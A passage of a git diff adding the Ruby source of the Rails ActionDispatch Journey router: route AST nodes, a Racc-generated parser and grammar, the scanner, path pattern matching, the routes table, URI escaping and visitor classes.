+ module Nodes # :nodoc:
+ class Node # :nodoc:
+ include Enumerable
+
+ attr_accessor :left, :memo
+
+ def initialize(left)
+ @left = left
+ @memo = nil
+ end
+
+ def each(&block)
+ Visitors::Each.new(block).accept(self)
+ end
+
+ def to_s
+ Visitors::String.new.accept(self)
+ end
+
+ def to_dot
+ Visitors::Dot.new.accept(self)
+ end
+
+ def to_sym
+ name.to_sym
+ end
+
+ def name
+ left.tr '*:', ''
+ end
+
+ def type
+ raise NotImplementedError
+ end
+
+ def symbol?; false; end
+ def literal?; false; end
+ end
+
+ class Terminal < Node # :nodoc:
+ alias :symbol :left
+ end
+
+ class Literal < Terminal # :nodoc:
+ def literal?; true; end
+ def type; :LITERAL; end
+ end
+
+ class Dummy < Literal # :nodoc:
+ def initialize(x = Object.new)
+ super
+ end
+
+ def literal?; false; end
+ end
+
+ %w{ Symbol Slash Dot }.each do |t|
+ class_eval <<-eoruby, __FILE__, __LINE__ + 1
+ class #{t} < Terminal;
+ def type; :#{t.upcase}; end
+ end
+ eoruby
+ end
+
+ class Symbol < Terminal # :nodoc:
+ attr_accessor :regexp
+ alias :symbol :regexp
+
+ DEFAULT_EXP = /[^\.\/\?]+/
+ def initialize(left)
+ super
+ @regexp = DEFAULT_EXP
+ end
+
+ def default_regexp?
+ regexp == DEFAULT_EXP
+ end
+
+ def symbol?; true; end
+ end
+
+ class Unary < Node # :nodoc:
+ def children; [left] end
+ end
+
+ class Group < Unary # :nodoc:
+ def type; :GROUP; end
+ end
+
+ class Star < Unary # :nodoc:
+ def type; :STAR; end
+
+ def name
+ left.name.tr '*:', ''
+ end
+ end
+
+ class Binary < Node # :nodoc:
+ attr_accessor :right
+
+ def initialize(left, right)
+ super(left)
+ @right = right
+ end
+
+ def children; [left, right] end
+ end
+
+ class Cat < Binary # :nodoc:
+ def type; :CAT; end
+ end
+
+ class Or < Node # :nodoc:
+ attr_reader :children
+
+ def initialize(children)
+ @children = children
+ end
+
+ def type; :OR; end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/parser.rb b/actionpack/lib/action_dispatch/journey/parser.rb
new file mode 100644
index 0000000000..9012297400
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/parser.rb
@@ -0,0 +1,198 @@
+#
+# DO NOT MODIFY!!!!
+# This file is automatically generated by Racc 1.4.11
+# from Racc grammer file "".
+#
+
+require 'racc/parser.rb'
+
+
+require 'action_dispatch/journey/parser_extras'
+module ActionDispatch
+ module Journey
+ class Parser < Racc::Parser
+##### State transition tables begin ###
+
+racc_action_table = [
+ 13, 15, 14, 7, 21, 16, 8, 19, 13, 15,
+ 14, 7, 17, 16, 8, 13, 15, 14, 7, 24,
+ 16, 8, 13, 15, 14, 7, 19, 16, 8 ]
+
+racc_action_check = [
+ 2, 2, 2, 2, 17, 2, 2, 2, 0, 0,
+ 0, 0, 1, 0, 0, 19, 19, 19, 19, 20,
+ 19, 19, 7, 7, 7, 7, 22, 7, 7 ]
+
+racc_action_pointer = [
+ 6, 12, -2, nil, nil, nil, nil, 20, nil, nil,
+ nil, nil, nil, nil, nil, nil, nil, 4, nil, 13,
+ 13, nil, 17, nil, nil ]
+
+racc_action_default = [
+ -19, -19, -2, -3, -4, -5, -6, -19, -10, -11,
+ -12, -13, -14, -15, -16, -17, -18, -19, -1, -19,
+ -19, 25, -8, -9, -7 ]
+
+racc_goto_table = [
+ 1, 22, 18, 23, nil, nil, nil, 20 ]
+
+racc_goto_check = [
+ 1, 2, 1, 3, nil, nil, nil, 1 ]
+
+racc_goto_pointer = [
+ nil, 0, -18, -16, nil, nil, nil, nil, nil, nil,
+ nil ]
+
+racc_goto_default = [
+ nil, nil, 2, 3, 4, 5, 6, 9, 10, 11,
+ 12 ]
+
+racc_reduce_table = [
+ 0, 0, :racc_error,
+ 2, 11, :_reduce_1,
+ 1, 11, :_reduce_2,
+ 1, 11, :_reduce_none,
+ 1, 12, :_reduce_none,
+ 1, 12, :_reduce_none,
+ 1, 12, :_reduce_none,
+ 3, 15, :_reduce_7,
+ 3, 13, :_reduce_8,
+ 3, 13, :_reduce_9,
+ 1, 16, :_reduce_10,
+ 1, 14, :_reduce_none,
+ 1, 14, :_reduce_none,
+ 1, 14, :_reduce_none,
+ 1, 14, :_reduce_none,
+ 1, 19, :_reduce_15,
+ 1, 17, :_reduce_16,
+ 1, 18, :_reduce_17,
+ 1, 20, :_reduce_18 ]
+
+racc_reduce_n = 19
+
+racc_shift_n = 25
+
+racc_token_table = {
+ false => 0,
+ :error => 1,
+ :SLASH => 2,
+ :LITERAL => 3,
+ :SYMBOL => 4,
+ :LPAREN => 5,
+ :RPAREN => 6,
+ :DOT => 7,
+ :STAR => 8,
+ :OR => 9 }
+
+racc_nt_base = 10
+
+racc_use_result_var = false
+
+Racc_arg = [
+ racc_action_table,
+ racc_action_check,
+ racc_action_default,
+ racc_action_pointer,
+ racc_goto_table,
+ racc_goto_check,
+ racc_goto_default,
+ racc_goto_pointer,
+ racc_nt_base,
+ racc_reduce_table,
+ racc_token_table,
+ racc_shift_n,
+ racc_reduce_n,
+ racc_use_result_var ]
+
+Racc_token_to_s_table = [
+ "$end",
+ "error",
+ "SLASH",
+ "LITERAL",
+ "SYMBOL",
+ "LPAREN",
+ "RPAREN",
+ "DOT",
+ "STAR",
+ "OR",
+ "$start",
+ "expressions",
+ "expression",
+ "or",
+ "terminal",
+ "group",
+ "star",
+ "symbol",
+ "literal",
+ "slash",
+ "dot" ]
+
+Racc_debug_parser = false
+
+##### State transition tables end #####
+
+# reduce 0 omitted
+
+def _reduce_1(val, _values)
+ Cat.new(val.first, val.last)
+end
+
+def _reduce_2(val, _values)
+ val.first
+end
+
+# reduce 3 omitted
+
+# reduce 4 omitted
+
+# reduce 5 omitted
+
+# reduce 6 omitted
+
+def _reduce_7(val, _values)
+ Group.new(val[1])
+end
+
+def _reduce_8(val, _values)
+ Or.new([val.first, val.last])
+end
+
+def _reduce_9(val, _values)
+ Or.new([val.first, val.last])
+end
+
+def _reduce_10(val, _values)
+ Star.new(Symbol.new(val.last))
+end
+
+# reduce 11 omitted
+
+# reduce 12 omitted
+
+# reduce 13 omitted
+
+# reduce 14 omitted
+
+def _reduce_15(val, _values)
+ Slash.new('/')
+end
+
+def _reduce_16(val, _values)
+ Symbol.new(val.first)
+end
+
+def _reduce_17(val, _values)
+ Literal.new(val.first)
+end
+
+def _reduce_18(val, _values)
+ Dot.new(val.first)
+end
+
+def _reduce_none(val, _values)
+ val[0]
+end
+
+ end # class Parser
+ end # module Journey
+ end # module ActionDispatch
diff --git a/actionpack/lib/action_dispatch/journey/parser.y b/actionpack/lib/action_dispatch/journey/parser.y
new file mode 100644
index 0000000000..d3f7c4d765
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/parser.y
@@ -0,0 +1,49 @@
+class ActionDispatch::Journey::Parser
+ options no_result_var
+token SLASH LITERAL SYMBOL LPAREN RPAREN DOT STAR OR
+
+rule
+ expressions
+ : expression expressions { Cat.new(val.first, val.last) }
+ | expression { val.first }
+ | or
+ ;
+ expression
+ : terminal
+ | group
+ | star
+ ;
+ group
+ : LPAREN expressions RPAREN { Group.new(val[1]) }
+ ;
+ or
+ : expression OR expression { Or.new([val.first, val.last]) }
+ | expression OR or { Or.new([val.first, val.last]) }
+ ;
+ star
+ : STAR { Star.new(Symbol.new(val.last)) }
+ ;
+ terminal
+ : symbol
+ | literal
+ | slash
+ | dot
+ ;
+ slash
+ : SLASH { Slash.new('/') }
+ ;
+ symbol
+ : SYMBOL { Symbol.new(val.first) }
+ ;
+ literal
+ : LITERAL { Literal.new(val.first) }
+ ;
+ dot
+ : DOT { Dot.new(val.first) }
+ ;
+
+end
+
+---- header
+
+require 'action_dispatch/journey/parser_extras'
diff --git a/actionpack/lib/action_dispatch/journey/parser_extras.rb b/actionpack/lib/action_dispatch/journey/parser_extras.rb
new file mode 100644
index 0000000000..14892f4321
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/parser_extras.rb
@@ -0,0 +1,23 @@
+require 'action_dispatch/journey/scanner'
+require 'action_dispatch/journey/nodes/node'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ class Parser < Racc::Parser # :nodoc:
+ include Journey::Nodes
+
+ def initialize
+ @scanner = Scanner.new
+ end
+
+ def parse(string)
+ @scanner.scan_setup(string)
+ do_parse
+ end
+
+ def next_token
+ @scanner.next_token
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/path/pattern.rb b/actionpack/lib/action_dispatch/journey/path/pattern.rb
new file mode 100644
index 0000000000..64b48ca45f
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/path/pattern.rb
@@ -0,0 +1,198 @@
+require 'action_dispatch/journey/router/strexp'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ module Path # :nodoc:
+ class Pattern # :nodoc:
+ attr_reader :spec, :requirements, :anchored
+
+ def self.from_string string
+ new Journey::Router::Strexp.build(string, {}, ["/.?"], true)
+ end
+
+ def initialize(strexp)
+ @spec = strexp.ast
+ @requirements = strexp.requirements
+ @separators = strexp.separators.join
+ @anchored = strexp.anchor
+
+ @names = nil
+ @optional_names = nil
+ @required_names = nil
+ @re = nil
+ @offsets = nil
+ end
+
+ def build_formatter
+ Visitors::FormatBuilder.new.accept(spec)
+ end
+
+ def ast
+ @spec.grep(Nodes::Symbol).each do |node|
+ re = @requirements[node.to_sym]
+ node.regexp = re if re
+ end
+
+ @spec.grep(Nodes::Star).each do |node|
+ node = node.left
+ node.regexp = @requirements[node.to_sym] || /(.+)/
+ end
+
+ @spec
+ end
+
+ def names
+ @names ||= spec.grep(Nodes::Symbol).map(&:name)
+ end
+
+ def required_names
+ @required_names ||= names - optional_names
+ end
+
+ def optional_names
+ @optional_names ||= spec.grep(Nodes::Group).flat_map { |group|
+ group.grep(Nodes::Symbol)
+ }.map(&:name).uniq
+ end
+
+ class RegexpOffsets < Journey::Visitors::Visitor # :nodoc:
+ attr_reader :offsets
+
+ def initialize(matchers)
+ @matchers = matchers
+ @capture_count = [0]
+ end
+
+ def visit(node)
+ super
+ @capture_count
+ end
+
+ def visit_SYMBOL(node)
+ node = node.to_sym
+
+ if @matchers.key?(node)
+ re = /#{@matchers[node]}|/
+ @capture_count.push((re.match('').length - 1) + (@capture_count.last || 0))
+ else
+ @capture_count << (@capture_count.last || 0)
+ end
+ end
+ end
+
+ class AnchoredRegexp < Journey::Visitors::Visitor # :nodoc:
+ def initialize(separator, matchers)
+ @separator = separator
+ @matchers = matchers
+ @separator_re = "([^#{separator}]+)"
+ super()
+ end
+
+ def accept(node)
+ %r{\A#{visit node}\Z}
+ end
+
+ def visit_CAT(node)
+ [visit(node.left), visit(node.right)].join
+ end
+
+ def visit_SYMBOL(node)
+ node = node.to_sym
+
+ return @separator_re unless @matchers.key?(node)
+
+ re = @matchers[node]
+ "(#{re})"
+ end
+
+ def visit_GROUP(node)
+ "(?:#{visit node.left})?"
+ end
+
+ def visit_LITERAL(node)
+ Regexp.escape(node.left)
+ end
+ alias :visit_DOT :visit_LITERAL
+
+ def visit_SLASH(node)
+ node.left
+ end
+
+ def visit_STAR(node)
+ re = @matchers[node.left.to_sym] || '.+'
+ "(#{re})"
+ end
+
+ def visit_OR(node)
+ children = node.children.map { |n| visit n }
+ "(?:#{children.join(?|)})"
+ end
+ end
+
+ class UnanchoredRegexp < AnchoredRegexp # :nodoc:
+ def accept(node)
+ %r{\A#{visit node}}
+ end
+ end
+
+ class MatchData # :nodoc:
+ attr_reader :names
+
+ def initialize(names, offsets, match)
+ @names = names
+ @offsets = offsets
+ @match = match
+ end
+
+ def captures
+ (length - 1).times.map { |i| self[i + 1] }
+ end
+
+ def [](x)
+ idx = @offsets[x - 1] + x
+ @match[idx]
+ end
+
+ def length
+ @offsets.length
+ end
+
+ def post_match
+ @match.post_match
+ end
+
+ def to_s
+ @match.to_s
+ end
+ end
+
+ def match(other)
+ return unless match = to_regexp.match(other)
+ MatchData.new(names, offsets, match)
+ end
+ alias :=~ :match
+
+ def source
+ to_regexp.source
+ end
+
+ def to_regexp
+ @re ||= regexp_visitor.new(@separators, @requirements).accept spec
+ end
+
+ private
+
+ def regexp_visitor
+ @anchored ? AnchoredRegexp : UnanchoredRegexp
+ end
+
+ def offsets
+ return @offsets if @offsets
+
+ viz = RegexpOffsets.new(@requirements)
+ @offsets = viz.accept(spec)
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/route.rb b/actionpack/lib/action_dispatch/journey/route.rb
new file mode 100644
index 0000000000..3b609a184d
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/route.rb
@@ -0,0 +1,125 @@
+module ActionDispatch
+ module Journey # :nodoc:
+ class Route # :nodoc:
+ attr_reader :app, :path, :defaults, :name
+
+ attr_reader :constraints
+ alias :conditions :constraints
+
+ attr_accessor :precedence
+
+ ##
+ # +path+ is a path constraint.
+ # +constraints+ is a hash of constraints to be applied to this route.
+ def initialize(name, app, path, constraints, defaults = {})
+ @name = name
+ @app = app
+ @path = path
+
+ @constraints = constraints
+ @defaults = defaults
+ @required_defaults = nil
+ @required_parts = nil
+ @parts = nil
+ @decorated_ast = nil
+ @precedence = 0
+ @path_formatter = @path.build_formatter
+ end
+
+ def ast
+ @decorated_ast ||= begin
+ decorated_ast = path.ast
+ decorated_ast.grep(Nodes::Terminal).each { |n| n.memo = self }
+ decorated_ast
+ end
+ end
+
+ def requirements # :nodoc:
+ # needed for rails `rake routes`
+ path.requirements.merge(@defaults).delete_if { |_,v|
+ /.+?/ == v
+ }
+ end
+
+ def segments
+ path.names
+ end
+
+ def required_keys
+ required_parts + required_defaults.keys
+ end
+
+ def score(constraints)
+ required_keys = path.required_names
+ supplied_keys = constraints.map { |k,v| v && k.to_s }.compact
+
+ return -1 unless (required_keys - supplied_keys).empty?
+
+ score = (supplied_keys & path.names).length
+ score + (required_defaults.length * 2)
+ end
+
+ def parts
+ @parts ||= segments.map(&:to_sym)
+ end
+ alias :segment_keys :parts
+
+ def format(path_options)
+ @path_formatter.evaluate path_options
+ end
+
+ def optional_parts
+ path.optional_names.map(&:to_sym)
+ end
+
+ def required_parts
+ @required_parts ||= path.required_names.map(&:to_sym)
+ end
+
+ def required_default?(key)
+ (constraints[:required_defaults] || []).include?(key)
+ end
+
+ def required_defaults
+ @required_defaults ||= @defaults.dup.delete_if do |k,_|
+ parts.include?(k) || !required_default?(k)
+ end
+ end
+
+ def glob?
+ !path.spec.grep(Nodes::Star).empty?
+ end
+
+ def dispatcher?
+ @app.dispatcher?
+ end
+
+ def matches?(request)
+ constraints.all? do |method, value|
+ next true unless request.respond_to?(method)
+
+ case value
+ when Regexp, String
+ value === request.send(method).to_s
+ when Array
+ value.include?(request.send(method))
+ when TrueClass
+ request.send(method).present?
+ when FalseClass
+ request.send(method).blank?
+ else
+ value === request.send(method)
+ end
+ end
+ end
+
+ def ip
+ constraints[:ip] || //
+ end
+
+ def verb
+ constraints[:request_method] || //
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/router.rb b/actionpack/lib/action_dispatch/journey/router.rb
new file mode 100644
index 0000000000..2b036796ab
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/router.rb
@@ -0,0 +1,143 @@
+require 'action_dispatch/journey/router/utils'
+require 'action_dispatch/journey/router/strexp'
+require 'action_dispatch/journey/routes'
+require 'action_dispatch/journey/formatter'
+
+before = $-w
+$-w = false
+require 'action_dispatch/journey/parser'
+$-w = before
+
+require 'action_dispatch/journey/route'
+require 'action_dispatch/journey/path/pattern'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ class Router # :nodoc:
+ class RoutingError < ::StandardError # :nodoc:
+ end
+
+ # :nodoc:
+ VERSION = '2.0.0'
+
+ attr_accessor :routes
+
+ def initialize(routes)
+ @routes = routes
+ end
+
+ def serve(req)
+ find_routes(req).each do |match, parameters, route|
+ set_params = req.path_parameters
+ path_info = req.path_info
+ script_name = req.script_name
+
+ unless route.path.anchored
+ req.script_name = (script_name.to_s + match.to_s).chomp('/')
+ req.path_info = match.post_match
+ req.path_info = "/" + req.path_info unless req.path_info.start_with? "/"
+ end
+
+ req.path_parameters = set_params.merge parameters
+
+ status, headers, body = route.app.serve(req)
+
+ if 'pass' == headers['X-Cascade']
+ req.script_name = script_name
+ req.path_info = path_info
+ req.path_parameters = set_params
+ next
+ end
+
+ return [status, headers, body]
+ end
+
+ return [404, {'X-Cascade' => 'pass'}, ['Not Found']]
+ end
+
+ def recognize(rails_req)
+ find_routes(rails_req).each do |match, parameters, route|
+ unless route.path.anchored
+ rails_req.script_name = match.to_s
+ rails_req.path_info = match.post_match.sub(/^([^\/])/, '/\1')
+ end
+
+ yield(route, parameters)
+ end
+ end
+
+ def visualizer
+ tt = GTG::Builder.new(ast).transition_table
+ groups = partitioned_routes.first.map(&:ast).group_by(&:to_s)
+ asts = groups.values.map(&:first)
+ tt.visualizer(asts)
+ end
+
+ private
+
+ def partitioned_routes
+ routes.partitioned_routes
+ end
+
+ def ast
+ routes.ast
+ end
+
+ def simulator
+ routes.simulator
+ end
+
+ def custom_routes
+ partitioned_routes.last
+ end
+
+ def filter_routes(path)
+ return [] unless ast
+ simulator.memos(path) { [] }
+ end
+
+ def find_routes req
+ routes = filter_routes(req.path_info).concat custom_routes.find_all { |r|
+ r.path.match(req.path_info)
+ }
+
+ routes =
+ if req.request_method == "HEAD"
+ match_head_routes(routes, req)
+ else
+ match_routes(routes, req)
+ end
+
+ routes.sort_by!(&:precedence)
+
+ routes.map! { |r|
+ match_data = r.path.match(req.path_info)
+ path_parameters = r.defaults.dup
+ match_data.names.zip(match_data.captures) { |name,val|
+ path_parameters[name.to_sym] = Utils.unescape_uri(val) if val
+ }
+ [match_data, path_parameters, r]
+ }
+ end
+
+ def match_head_routes(routes, req)
+ head_routes = match_routes(routes, req)
+
+ if head_routes.empty?
+ begin
+ req.request_method = "GET"
+ match_routes(routes, req)
+ ensure
+ req.request_method = "HEAD"
+ end
+ else
+ head_routes
+ end
+ end
+
+ def match_routes(routes, req)
+ routes.select { |r| r.matches?(req) }
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/router/strexp.rb b/actionpack/lib/action_dispatch/journey/router/strexp.rb
new file mode 100644
index 0000000000..4b7738f335
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/router/strexp.rb
@@ -0,0 +1,27 @@
+module ActionDispatch
+ module Journey # :nodoc:
+ class Router # :nodoc:
+ class Strexp # :nodoc:
+ class << self
+ alias :compile :new
+ end
+
+ attr_reader :path, :requirements, :separators, :anchor, :ast
+
+ def self.build(path, requirements, separators, anchor = true)
+ parser = Journey::Parser.new
+ ast = parser.parse path
+ new ast, path, requirements, separators, anchor
+ end
+
+ def initialize(ast, path, requirements, separators, anchor = true)
+ @ast = ast
+ @path = path
+ @requirements = requirements
+ @separators = separators
+ @anchor = anchor
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/router/utils.rb b/actionpack/lib/action_dispatch/journey/router/utils.rb
new file mode 100644
index 0000000000..2b0a6575d4
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/router/utils.rb
@@ -0,0 +1,93 @@
+module ActionDispatch
+ module Journey # :nodoc:
+ class Router # :nodoc:
+ class Utils # :nodoc:
+ # Normalizes URI path.
+ #
+ # Strips off trailing slash and ensures there is a leading slash.
+ # Also converts downcase url encoded string to uppercase.
+ #
+ # normalize_path("/foo") # => "/foo"
+ # normalize_path("/foo/") # => "/foo"
+ # normalize_path("foo") # => "/foo"
+ # normalize_path("") # => "/"
+ # normalize_path("/%ab") # => "/%AB"
+ def self.normalize_path(path)
+ path = "/#{path}"
+ path.squeeze!('/')
+ path.sub!(%r{/+\Z}, '')
+ path.gsub!(/(%[a-f0-9]{2})/) { $1.upcase }
+ path = '/' if path == ''
+ path
+ end
+
+ # URI path and fragment escaping
+ # http://tools.ietf.org/html/rfc3986
+ class UriEncoder # :nodoc:
+ ENCODE = "%%%02X".freeze
+ US_ASCII = Encoding::US_ASCII
+ UTF_8 = Encoding::UTF_8
+ EMPTY = "".force_encoding(US_ASCII).freeze
+ DEC2HEX = (0..255).to_a.map{ |i| ENCODE % i }.map{ |s| s.force_encoding(US_ASCII) }
+
+ ALPHA = "a-zA-Z".freeze
+ DIGIT = "0-9".freeze
+ UNRESERVED = "#{ALPHA}#{DIGIT}\\-\\._~".freeze
+ SUB_DELIMS = "!\\$&'\\(\\)\\*\\+,;=".freeze
+
+ ESCAPED = /%[a-zA-Z0-9]{2}/.freeze
+
+ FRAGMENT = /[^#{UNRESERVED}#{SUB_DELIMS}:@\/\?]/.freeze
+ SEGMENT = /[^#{UNRESERVED}#{SUB_DELIMS}:@]/.freeze
+ PATH = /[^#{UNRESERVED}#{SUB_DELIMS}:@\/]/.freeze
+
+ def escape_fragment(fragment)
+ escape(fragment, FRAGMENT)
+ end
+
+ def escape_path(path)
+ escape(path, PATH)
+ end
+
+ def escape_segment(segment)
+ escape(segment, SEGMENT)
+ end
+
+ def unescape_uri(uri)
+ encoding = uri.encoding == US_ASCII ? UTF_8 : uri.encoding
+ uri.gsub(ESCAPED) { [$&[1, 2].hex].pack('C') }.force_encoding(encoding)
+ end
+
+ protected
+ def escape(component, pattern)
+ component.gsub(pattern){ |unsafe| percent_encode(unsafe) }.force_encoding(US_ASCII)
+ end
+
+ def percent_encode(unsafe)
+ safe = EMPTY.dup
+ unsafe.each_byte { |b| safe << DEC2HEX[b] }
+ safe
+ end
+ end
+
+ ENCODER = UriEncoder.new
+
+ def self.escape_path(path)
+ ENCODER.escape_path(path.to_s)
+ end
+
+ def self.escape_segment(segment)
+ ENCODER.escape_segment(segment.to_s)
+ end
+
+ def self.escape_fragment(fragment)
+ ENCODER.escape_fragment(fragment.to_s)
+ end
+
+ def self.unescape_uri(uri)
+ ENCODER.unescape_uri(uri)
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/routes.rb b/actionpack/lib/action_dispatch/journey/routes.rb
new file mode 100644
index 0000000000..80e3818ccd
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/routes.rb
@@ -0,0 +1,76 @@
+module ActionDispatch
+ module Journey # :nodoc:
+ # The Routing table. Contains all routes for a system. Routes can be
+ # added to the table by calling Routes#add_route.
+ class Routes # :nodoc:
+ include Enumerable
+
+ attr_reader :routes, :named_routes
+
+ def initialize
+ @routes = []
+ @named_routes = {}
+ @ast = nil
+ @partitioned_routes = nil
+ @simulator = nil
+ end
+
+ def length
+ routes.length
+ end
+ alias :size :length
+
+ def last
+ routes.last
+ end
+
+ def each(&block)
+ routes.each(&block)
+ end
+
+ def clear
+ routes.clear
+ named_routes.clear
+ end
+
+ def partitioned_routes
+ @partitioned_routes ||= routes.partition do |r|
+ r.path.anchored && r.ast.grep(Nodes::Symbol).all?(&:default_regexp?)
+ end
+ end
+
+ def ast
+ @ast ||= begin
+ asts = partitioned_routes.first.map(&:ast)
+ Nodes::Or.new(asts) unless asts.empty?
+ end
+ end
+
+ def simulator
+ @simulator ||= begin
+ gtg = GTG::Builder.new(ast).transition_table
+ GTG::Simulator.new(gtg)
+ end
+ end
+
+ # Add a route to the routing table.
+ def add_route(app, path, conditions, defaults, name = nil)
+ route = Route.new(name, app, path, conditions, defaults)
+
+ route.precedence = routes.length
+ routes << route
+ named_routes[name] = route if name && !named_routes[name]
+ clear_cache!
+ route
+ end
+
+ private
+
+ def clear_cache!
+ @ast = nil
+ @partitioned_routes = nil
+ @simulator = nil
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/scanner.rb b/actionpack/lib/action_dispatch/journey/scanner.rb
new file mode 100644
index 0000000000..19e0bc03d6
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/scanner.rb
@@ -0,0 +1,61 @@
+require 'strscan'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ class Scanner # :nodoc:
+ def initialize
+ @ss = nil
+ end
+
+ def scan_setup(str)
+ @ss = StringScanner.new(str)
+ end
+
+ def eos?
+ @ss.eos?
+ end
+
+ def pos
+ @ss.pos
+ end
+
+ def pre_match
+ @ss.pre_match
+ end
+
+ def next_token
+ return if @ss.eos?
+
+ until token = scan || @ss.eos?; end
+ token
+ end
+
+ private
+
+ def scan
+ case
+ # /
+ when text = @ss.scan(/\//)
+ [:SLASH, text]
+ when text = @ss.scan(/\*\w+/)
+ [:STAR, text]
+ when text = @ss.scan(/(?<!\\)\(/)
+ [:LPAREN, text]
+ when text = @ss.scan(/(?<!\\)\)/)
+ [:RPAREN, text]
+ when text = @ss.scan(/\|/)
+ [:OR, text]
+ when text = @ss.scan(/\./)
+ [:DOT, text]
+ when text = @ss.scan(/(?<!\\):\w+/)
+ [:SYMBOL, text]
+ when text = @ss.scan(/(?:[\w%\-~!$&'*+,;=@]|\\:|\\\(|\\\))+/)
+ [:LITERAL, text.tr('\\', '')]
+ # any char
+ when text = @ss.scan(/./)
+ [:LITERAL, text]
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/visitors.rb b/actionpack/lib/action_dispatch/journey/visitors.rb
new file mode 100644
index 0000000000..52b4c8b489
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/visitors.rb
@@ -0,0 +1,221 @@
+# encoding: utf-8
+
+module ActionDispatch
+ module Journey # :nodoc:
+ class Format
+ ESCAPE_PATH = ->(value) { Router::Utils.escape_path(value) }
+ ESCAPE_SEGMENT = ->(value) { Router::Utils.escape_segment(value) }
+
+ class Parameter < Struct.new(:name, :escaper)
+ def escape(value); escaper.call value; end
+ end
+
+ def self.required_path(symbol)
+ Parameter.new symbol, ESCAPE_PATH
+ end
+
+ def self.required_segment(symbol)
+ Parameter.new symbol, ESCAPE_SEGMENT
+ end
+
+ def initialize(parts)
+ @parts = parts
+ @children = []
+ @parameters = []
+
+ parts.each_with_index do |object,i|
+ case object
+ when Journey::Format
+ @children << i
+ when Parameter
+ @parameters << i
+ end
+ end
+ end
+
+ def evaluate(hash)
+ parts = @parts.dup
+
+ @parameters.each do |index|
+ param = parts[index]
+ value = hash[param.name]
+ return ''.freeze unless value
+ parts[index] = param.escape value
+ end
+
+ @children.each { |index| parts[index] = parts[index].evaluate(hash) }
+
+ parts.join
+ end
+ end
+
+ module Visitors # :nodoc:
+ class Visitor # :nodoc:
+ DISPATCH_CACHE = {}
+
+ def accept(node)
+ visit(node)
+ end
+
+ private
+
+ def visit node
+ send(DISPATCH_CACHE[node.type], node)
+ end
+
+ def binary(node)
+ visit(node.left)
+ visit(node.right)
+ end
+ def visit_CAT(n); binary(n); end
+
+ def nary(node)
+ node.children.each { |c| visit(c) }
+ end
+ def visit_OR(n); nary(n); end
+
+ def unary(node)
+ visit(node.left)
+ end
+ def visit_GROUP(n); unary(n); end
+ def visit_STAR(n); unary(n); end
+
+ def terminal(node); end
+ def visit_LITERAL(n); terminal(n); end
+ def visit_SYMBOL(n); terminal(n); end
+ def visit_SLASH(n); terminal(n); end
+ def visit_DOT(n); terminal(n); end
+
+ private_instance_methods(false).each do |pim|
+ next unless pim =~ /^visit_(.*)$/
+ DISPATCH_CACHE[$1.to_sym] = pim
+ end
+ end
+
+ class FormatBuilder < Visitor # :nodoc:
+ def accept(node); Journey::Format.new(super); end
+ def terminal(node); [node.left]; end
+
+ def binary(node)
+ visit(node.left) + visit(node.right)
+ end
+
+ def visit_GROUP(n); [Journey::Format.new(unary(n))]; end
+
+ def visit_STAR(n)
+ [Journey::Format.required_path(n.left.to_sym)]
+ end
+
+ def visit_SYMBOL(n)
+ symbol = n.to_sym
+ if symbol == :controller
+ [Journey::Format.required_path(symbol)]
+ else
+ [Journey::Format.required_segment(symbol)]
+ end
+ end
+ end
+
+ # Loop through the requirements AST
+ class Each < Visitor # :nodoc:
+ attr_reader :block
+
+ def initialize(block)
+ @block = block
+ end
+
+ def visit(node)
+ block.call(node)
+ super
+ end
+ end
+
+ class String < Visitor # :nodoc:
+ private
+
+ def binary(node)
+ [visit(node.left), visit(node.right)].join
+ end
+
+ def nary(node)
+ node.children.map { |c| visit(c) }.join '|'
+ end
+
+ def terminal(node)
+ node.left
+ end
+
+ def visit_GROUP(node)
+ "(#{visit(node.left)})"
+ end
+ end
+
+ class Dot < Visitor # :nodoc:
+ def initialize
+ @nodes = []
+ @edges = []
+ end
+
+ def accept(node)
+ super
+ <<-eodot
+ digraph parse_tree {
+ size="8,5"
+ node [shape = none];
+ edge [dir = none];
+ #{@nodes.join "\n"}
+ #{@edges.join("\n")}
+ }
+ eodot
+ end
+
+ private
+
+ def binary(node)
+ node.children.each do |c|
+ @edges << "#{node.object_id} -> #{c.object_id};"
+ end
+ super
+ end
+
+ def nary(node)
+ node.children.each do |c|
+ @edges << "#{node.object_id} -> #{c.object_id};"
+ end
+ super
+ end
+
+ def unary(node)
+ @edges << "#{node.object_id} -> #{node.left.object_id};"
+ super
+ end
+
+ def visit_GROUP(node)
+ @nodes << "#{node.object_id} [label=\"()\"];"
+ super
+ end
+
+ def visit_CAT(node)
+ @nodes << "#{node.object_id} [label=\"â—‹\"];"
+ super
+ end
+
+ def visit_STAR(node)
+ @nodes << "#{node.object_id} [label=\"*\"];"
+ super
+ end
+
+ def visit_OR(node)
+ @nodes << "#{node.object_id} [label=\"|\"];"
+ super
+ end
+
+ def terminal(node)
+ value = node.left
+
+ @nodes << "#{node.object_id} [label=\"#{value}\"];"
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/visualizer/fsm.css b/actionpack/lib/action_dispatch/journey/visualizer/fsm.css
new file mode 100644
